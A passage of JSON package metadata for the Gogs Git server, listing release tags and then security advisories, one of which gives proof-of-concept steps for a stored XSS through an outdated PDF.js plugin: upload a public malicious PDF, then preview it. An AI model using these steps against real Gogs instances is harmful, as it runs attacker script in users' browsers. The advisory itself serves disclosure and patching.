/GitHub/repositories/gogs%2Fgogs/tags/v0.10/manifests"},{"name":"v0.10rc","sha":"437df04d8c8de62e3c75c38d34d305c3dea5bafe","kind":"commit","published_at":"2017-02-21T17:17:39.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10rc","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10rc/manifests"},{"name":"v0.9.141","sha":"23f2efa8c1e21957f950424bfdbdc684ba64b56f","kind":"commit","published_at":"2017-02-11T08:59:25.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.141","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.141","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.141","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.141","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.141/manifests"},{"name":"v0.9.128","sha":"412ba5b2a97ec224f6cf6b78ceba711c8dda3835","kind":"commit","published_at":"2017-01-31T12:36:59.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.128","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.128","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.128","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.128","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.128/manifests"},{"name":"v0.9.113","sha":"114c179e5a50e3313f7a5894100693805e64e440","kind":"commit","published_at":"2016-12-24T02:53:30.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.113","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.113","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.113","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.113","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.113/manifests"},{"name":"v0.9.97","sha":"8ee14db51ebc92728e1edba4545c7d4ea4b21c65","kind":"commit","published_at":"2016-09-01T04:35:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.97","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.97","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.97","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.97","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.97/manifests"},{"name":"v0.9.71","sha":"81e6f82cafe4b450996a01618a2ee379c7f67682","kind":"commit","published_at":"2016-08-10T18:57:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.71","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.71/manifests"},{"name":"v0.9.60","sha":"ee28fd92551961070cff4fe1b37ab94268c2f111","kind":"commit","published_at":"2016-08-03T19:24:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.60","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.60/manifests"},{"name":"v0.9.48","sha":"599716bb1b78e6be903db92fde6d9bf65d79bf3e","kind":"commit","published_at":"2016-07-22T14:21:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.48","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.48/manifests"},{"name":"v0.9.46","sha":"1c7dcdd6b948b9c177b5ed4e036e612508ee9832","kind":"commit","published_at":"2016-07-17T02:46:21.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.46","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.46/manifests"},{"name":"v0.9.13","sha":"3fb4f7f4980b4339fd9ef6a3ba5b0acab83d264d","kind":"commit","published_at":"2016-03-19T18:51:41.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.13","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.13/manifests"},{"name":"v0.9.0","sha":"0ea0c5ec4f24f0fc5ef3231085c74b33a16f98ec","kind":"commit","published_at":"2016-03-07T00:55:38.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.0/manifests"},{"name":"v0.8.43","sha":"d324500959c06e975921790f8770aa5d1bdf2344","kind":"commit","published_at":"2016-02-24T06:14:43.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.43","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.43/manifests"},{"name":"v0.8.25","sha":"6e03f6161777b38c0c185793e8f0294851796e46","kind":"commit","published_at":"2016-01-30T15:12:23.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.25","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.25/manifests"},{"name":"v0.8.10","sha":"09c981846b2b80c703d26b17024ec2212b8bac63","kind":"commit","published_at":"2015-12-18T12:54:44.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.10/manifests"},{"name":"v0.8.0","sha":"4df378b89249bac5e7d707b6616e051271a9aea2","kind":"commit","published_at":"2015-12-13T03:04:52.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.0/manifests"},{"name":"v0.7.33","sha":"b5f6206a659eaa76382774675f2e3f2664d0f501","kind":"commit","published_at":"2015-12-06T20:34:17.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.33","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.33/manifests"},{"name":"v0.7.22","sha":"253513cedda72939ec4d496a3325c654659cc15f","kind":"commit","published_at":"2015-11-25T14:36:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.22","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.22/manifests"},{"name":"v0.7.19","sha":"d37da1f3929f94703d7c7f19f60288109f95756d","kind":"commit","published_at":"2015-11-21T19:40:29.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.19","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.19/manifests"},{"name":"v0.7.6","sha":"d1e28ac013c2f562939025e6a031671a5a70dd52","kind":"commit","published_at":"2015-11-12T17:50:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.6","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.6/manifests"},{"name":"v0.7.0","sha":"58436b5ea51cb5e09fb244331d7a9acf70258063","kind":"commit","published_at":"2015-11-08T16:08:13.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.0/manifests"},{"name":"v0.6.15","sha":"d5ad4e1141c27410920faaddc60794bf53ee98d0","kind":"commit","published_at":"2015-09-26T18:09:09.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.15","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.15/manifests"},{"name":"v0.6.9","sha":"1c2dbd7183f12eff0be33c7a8d1cf0753dd42324","kind":"commit","published_at":"2015-09-05T09:06:03.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.9/manifests"},{"name":"v0.6.5","sha":"21d1d2905d42b9c1f911ab95188e774062907499","kind":"commit","published_at":"2015-08-16T11:35:24.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.5/manifests"},{"name":"v0.6.3","sha":"8e8d535e233966acd1510df78c01e11dc8156514","kind":"commit","published_at":"2015-08-02T04:37:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.3/manifests"},{"name":"v0.6.1","sha":"d76f11c6f14b69bf981e5fc3901cc2c6445773b8","kind":"commit","published_at":"2015-03-26T15:00:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"7cf05645873634cd926bb16ff880840330305d5b","kind":"commit","published_at":"2015-03-19T20:44:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.0/manifests"},{"name":"v0.5.13","sha":"a38e4a0b027f7be1f5523dc8e729f6f8300a8095","kind":"commit","published_at":"2015-02-13T21:48:23.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.13","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.13/manifests"},{"name":"v0.5.11","sha":"9e61ec316e10e5ca9ba2eb3ac58ff04e4a85d285","kind":"commit","published_at":"2015-01-05T12:45:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.11/manifests"},{"name":"v0.5.9","sha":"c9e0b3b98700e65d2f304e028b7ba4c073209f45","kind":"commit","published_at":"2014-12-14T01:32:30.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.9/manifests"},{"name":"v0.5.8","sha":"2d8c414f8c44e20619d6680b96044424ef6ebb2a","kind":"commit","published_at":"2014-11-19T00:05:33.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.8/manifests"},{"name":"v0.5.5","sha":"54930c001df8316d8dfda450b5c39379df2cc1b1","kind":"commit","published_at":"2014-10-10T20:22:49.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.5/manifests"},{"name":"v0.5.2","sha":"4f74b4e6578be4251af65cd08daa37c884e431a0","kind":"commit","published_at":"2014-09-18T16:21:00.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.2/manifests"},{"name":"v0.5.0","sha":"efb68a0a96574a334a3ec791c0a7f2bc6b96d006","kind":"commit","published_at":"2014-09-14T23:22:52.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"a0318db2f9094eda2beea19ed323244b4ae30831","kind":"commit","published_at":"2014-06-06T09:12:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"afc6cbc4797571a138eb150768fb9276b4da702b","kind":"commit","published_at":"2014-06-01T15:06:03.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"2657f88d9af9420329c49fab20bd1c7a5febc071","kind":"commit","published_at":"2014-05-31T21:15:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"2401e68d7ed7d53425293ad32d231542d03bbef3","kind":"commit","published_at":"2014-04-29T01:53:40.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.3.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"de01f814892666298d24f79f769a7c0766119c87","kind":"commit","published_at":"2014-04-21T10:54:07.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.3.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"76c64b43cb56a298e5fc2ec8adc0d7b820cbe614","kind":"commit","published_at":"2014-03-31T11:57:51.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.2.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.2.0/manifests"}]},"repo_metadata_updated_at":"2026-08-19T10:14:45.028Z","dependent_packages_count":8,"downloads":null,"downloads_period":null,"dependent_repos_count":55,"rankings":{"downloads":null,"dependent_repos_count":0.7735374839801403,"dependent_packages_count":1.8916929484916127,"stargazers_count":0.026010471955529066,"forks_count":0.056605165021994294,"docker_downloads_count":null,"average":0.6869615173623191},"purl":"pkg:golang/github.com/gogs/gogs","advisories":[{"uuid":"GSA_kwCzR0hTQS14aDMyLWN4NmMtY3A0ds4ABJZR","url":"https://github.com/advisories/GHSA-xh32-cx6c-cp4v","title":"Gogs XSS allowed by stored call in PDF renderer","description":"### Summary\n\nA stored XSS is present in Gogs which allows client-side Javascript code execution.\n\n### Details\n\nGogs Version:\n```\ndocker images\nREPOSITORY   TAG       IMAGE ID       CREATED        SIZE\ngogs/gogs    latest    fe92583bc4fe   10 hours ago   99.3MB\n```\n\nApplication version: `0.14.0+dev`\n\nLocal setup using:\n```bash\n# Pull image from Docker Hub.\ndocker pull gogs/gogs\n\n# Create local directory for volume.\nsudo mkdir -p /var/gogs\n\n# Use `docker run` for the first time.\ndocker run --name=gogs -p 10022:22 -p 10880:3000 -v /var/gogs:/data gogs/gogs\n```\n\nThe vulnerability is caused by the usage of a vulnerable and outdated component: `pdfjs-1.4.20` under public/plugins/.  \nRead more about this vulnerability at [codeanlabs - CVE-2024-4367](https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/).\n\n### PoC\n\n1. Upload the Proof of Concept file hosted at https://codeanlabs.com/wp-content/uploads/2024/05/poc_generalized_CVE-2024-4367.pdf in a repository.\n2. Click on the file to be previewed.\n\n![poc](https://github.com/user-attachments/assets/5af1303e-8751-49c8-af2e-d0631dd18957)\n\n\n### Credits\n\nEdoardo Ottavianelli","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-06-26T16:54:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-xh32-cx6c-cp4v","https://nvd.nist.gov/vuln/detail/CVE-2025-47943","https://github.com/gogs/gogs/commit/110117b2e5e5baa4809c819bec701e929d2d8d40","https://github.com/gogs/gogs/releases/tag/v0.13.3","https://www.hacktivesecurity.com/blog/2025/07/15/cve-2025-47943-stored-xss-in-gogs-via-pdf","https://github.com/advisories/GHSA-xh32-cx6c-cp4v"],"source_kind":"github","identifiers":["GHSA-xh32-cx6c-cp4v","CVE-2025-47943"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2025-06-26T17:10:06.267Z","updated_at":"2026-09-03T13:05:48.797Z","epss_percentage":0.00333,"epss_percentile":0.2574,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDMyLWN4NmMtY3A0ds4ABJZR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aDMyLWN4NmMtY3A0ds4ABJZR","packages":[{"ecosystem":"go","package_name":"github.com/gogs/gogs","versions":[{"first_patched_version":"0.13.3-0.20250608224432-110117b2e5e5","vulnerable_version_range":"\u003c 0.13.3-0.20250608224432-110117b2e5e5"}],"purl":"pkg:go/github.com%2Fgogs%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDMyLWN4NmMtY3A0ds4ABJZR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bW02LXdtcHAtbW1tM84AA9ly","url":"https://github.com/advisories/GHSA-8mm6-wmpp-mmm3","title":"Duplicate Advisory: Gogs allows argument injection during the tagging of a new release","description":"# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-m27m-h5gj-wwmg. This link is maintained to preserve external references.\n\n# Original Description\nGogs through 0.13.0 allows argument injection during the tagging of a new release. This vulnerability is still unfixed as of the time of this advisory being published.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-07-04T18:31:11.000Z","withdrawn_at":"2024-12-23T20:36:50.000Z","classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39933","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://github.com/gogs/gogs/releases","https://github.com/advisories/GHSA-8mm6-wmpp-mmm3"],"source_kind":"github","identifiers":["GHSA-8mm6-wmpp-mmm3"],"repository_url":"https://github.com/gogs/gogs","blast_radius":14.270974053852798,"created_at":"2024-07-05T21:05:27.428Z","updated_at":"2026-06-09T13:05:40.064Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bW02LXdtcHAtbW1tM84AA9ly","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bW02LXdtcHAtbW1tM84AA9ly","packages":[{"ecosystem":"go","package_name":"github.com/gogs/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 